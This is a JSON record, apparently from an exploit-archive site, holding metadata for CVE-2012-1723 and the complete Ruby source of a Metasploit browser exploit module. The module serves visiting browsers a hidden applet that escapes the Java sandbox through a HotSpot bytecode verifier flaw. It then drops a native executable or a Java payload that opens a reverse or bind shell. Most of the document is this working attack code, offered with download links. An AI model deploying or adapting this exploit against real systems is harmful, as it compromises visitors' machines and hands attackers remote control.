{"exploit":{"id":"MSF-multi--browser--java_verifier_field_access","name":"Java Applet Field Bytecode Verifier Cache Remote Code Execution","description":"This module exploits a vulnerability in HotSpot bytecode verifier where an invalid optimization of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficient type checks. This allows a way to escape the JRE sandbox, and load additional classes in order to perform malicious operations.","cves":["CVE-2012-1723"],"author":"Stefan Cornelius, mihi, littlelightlittlefire, juan vazquez, sinn3r","published":"2012-06-06","platform":"Java,Linux,OSX,Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/251027d26210b6d92820dc33a08173662c639905/modules/exploits/multi/browser/java_verifier_field_access.rb","path":"modules/exploits/multi/browser/java_verifier_field_access.rb","revision":"251027d26210b6d92820dc33a08173662c639905","filename":"java_verifier_field_access.rb","vulnerabilities":[{"id":"CVE-2012-1723","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 update 32 and earlier, 5 update 35 and earlier, and 1.4.2_37 and earlier allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors related to Hotspot.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2012-1723","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2012-1723"},"updatedAt":"2026-08-06T03:55:27.828Z","retrievedAt":"2026-11-27T04:34:12.069Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--browser--java_verifier_field_access.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--browser--java_verifier_field_access","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--browser--java_verifier_field_access/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--browser--java_verifier_field_access/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpServer::HTML\n  include Msf::Exploit::EXE\n\n  include Msf::Exploit::Remote::BrowserAutopwn\n  autopwn_info({ javascript: false })\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Java Applet Field Bytecode Verifier Cache Remote Code Execution',\n        'Description' => %q{\n          This module exploits a vulnerability in HotSpot bytecode verifier where an invalid\n          optimization of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficient\n          type checks. This allows a way to escape the JRE sandbox, and load additional classes\n          in order to perform malicious operations.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Stefan Cornelius', # Discoverer\n          'mihi',                  # Vuln analysis\n          'littlelightlittlefire', # metasploit module\n          'juan vazquez',          # merged code (overlapped)\n          'sinn3r'                 # merged code (overlapped)\n        ],\n        'References' => [\n          ['CVE', '2012-1723'],\n          ['OSVDB', '82877'],\n          ['BID', '52161'],\n          ['URL', 'http://schierlm.users.sourceforge.net/CVE-2012-1723.html'],\n          ['URL', 'http://www.oracle.com/technetwork/topics/security/javacpujun2012-1515912.html'],\n          ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=829373'],\n          ['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/253e7c32def9'],\n          ['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/8f86ad60699b']\n        ],\n        'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },\n        'Targets' => [\n          [\n            'Generic (Java Payload)',\n            {\n              'Platform' => ['java'],\n              'Arch' => ARCH_JAVA\n            }\n          ],\n          [\n            'Windows x86 (Native Payload)',\n            {\n              'Platform' => 'win',\n              'Arch' => ARCH_X86\n            }\n          ],\n          [\n            'Mac OS X PPC (Native Payload)',\n            {\n              'Platform' => 'osx',\n              'Arch' => ARCH_PPC\n            }\n          ],\n          [\n            'Mac OS X x86 (Native Payload)',\n            {\n              'Platform' => 'osx',\n              'Arch' => ARCH_X86\n            }\n          ],\n          [\n            'Linux x86 (Native Payload)',\n            {\n              'Platform' => 'linux',\n              'Arch' => ARCH_X86\n            }\n          ],\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2012-06-06',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end\n\n  def exploit\n    # load the static jar file\n    path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2012-1723.jar')\n    fd = File.open(path, 'rb')\n    @jar_data = fd.read(fd.stat.size)\n    fd.close\n\n    super\n  end\n\n  def on_request_uri(cli, request)\n    data = ''\n    host = ''\n    port = ''\n\n    if !request.uri.match(/\\.jar$/i)\n      if !request.uri.match(%r{/$})\n        send_redirect(cli, get_resource + '/', '')\n        return\n      end\n\n      print_status(\"Sending #{name}\")\n\n      payload = regenerate_payload(cli)\n      if !payload\n        print_error('Failed to generate the payload.')\n        return\n      end\n\n      if target.name == 'Generic (Java Payload)'\n        if datastore['LHOST']\n          jar = payload.encoded\n          host = datastore['LHOST']\n          port = datastore['LPORT']\n          vprint_status('Sending java reverse shell')\n        else\n          port = datastore['LPORT']\n          host = cli.peerhost\n          vprint_status('Java bind shell')\n        end\n        if jar\n          print_status(\"Generated jar to drop (#{jar.length} bytes).\")\n          jar = Rex::Text.to_hex(jar, '')\n        else\n          print_error('Failed to generate the executable.')\n          return\n        end\n      else\n\n        # NOTE: The EXE mixin automagically handles detection of arch/platform\n        data = generate_payload_exe\n\n        print_status(\"Generated executable to drop (#{data.length} bytes).\")\n        data = Rex::Text.to_hex(data, '')\n\n      end\n\n      send_response_html(cli, generate_html(data, jar, host, port), { 'Content-Type' => 'text/html' })\n      return\n    end\n\n    print_status('Sending jar')\n    send_response(cli, generate_jar, { 'Content-Type' => 'application/octet-stream' })\n\n    handler(cli)\n  end\n\n  def generate_html(data, jar, host, _port)\n    jar_name = rand_text_alpha(rand(3..8)) + '.jar'\n\n    html = '<html><head></head>'\n    html += '<body>'\n    html += \"<applet archive=\\\"#{jar_name}\\\" code=\\\"cve1723.Attacker\\\" width=\\\"1\\\" height=\\\"1\\\">\"\n    html += \"<param name=\\\"data\\\" value=\\\"#{data}\\\"/>\" if data\n    html += \"<param name=\\\"jar\\\" value=\\\"#{jar}\\\"/>\" if jar\n    html += \"<param name=\\\"lhost\\\" value=\\\"#{host}\\\"/>\" if host\n    html += '</applet></body></html>'\n    return html\n  end\n\n  def generate_jar\n    @jar_data\n  end\nend\n","sha256":"c6e3bb3604c79f4b3b5d9c90cc081636f5f71e9ab477f55bfdf3bcc62d64d90c","bytes":5354,"fetchedAt":"2026-11-27T05:25:32.382Z","encoding":"utf-8 (display only; download retains original bytes)"}